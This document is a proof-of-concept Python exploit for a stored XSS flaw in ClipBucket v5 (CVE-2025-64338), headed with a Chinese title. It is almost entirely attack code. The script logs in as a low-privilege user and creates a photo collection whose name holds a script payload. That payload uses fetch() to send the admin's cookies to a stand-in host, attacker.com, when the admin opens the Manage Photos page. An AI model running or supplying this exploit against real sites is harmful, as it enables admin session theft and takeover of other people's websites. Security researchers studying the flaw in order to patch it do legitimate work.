CVE-2025-64338 ClipBucket v5存储型XSS漏洞

import requests import sys # CVE-2025-64338 PoC - ClipBucket v5 Stored XSS # Target: ClipBucket v5.5.2 <= #156 # Attack: Authenticated user creates photo collection with XSS payload in name TARGET_URL = "http://target-website.com" USERNAME = "attacker_user" PASSWORD = "attacker_password" # XSS Payload - Steal admin cookies XSS_PAYLOAD = "<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>" def login(session): """Login as regular user with low privileges""" login_url = f"{TARGET_URL}/login.php" data = { "username": USERNAME, "password": PASSWORD } response = session.post(login_url, data=data) return "logout" in response.text or response.status_code == 200 def create_photo_collection(session): """Create photo collection with XSS payload in name""" create_url = f"{TARGET_URL}/actions/collections/create_collection.php" data = { "collection_name": XSS_PAYLOAD, "collection_type": "photos" } response = session.post(create_url, data=data) return response.status_code == 200 def main(): session = requests.Session() print("[*] Step 1: Logging in as low-privilege user...") if not login(session): print("[-] Login failed!") return print("[+] Login successful!") print("[*] Step 2: Creating photo collection with XSS payload...") if not create_photo_collection(session): print("[-] Collection creation failed!") return print("[+] Photo collection created with XSS payload!") print("[*] Payload will execute when admin visits Manage Photos page") if __name__ == "__main__": main()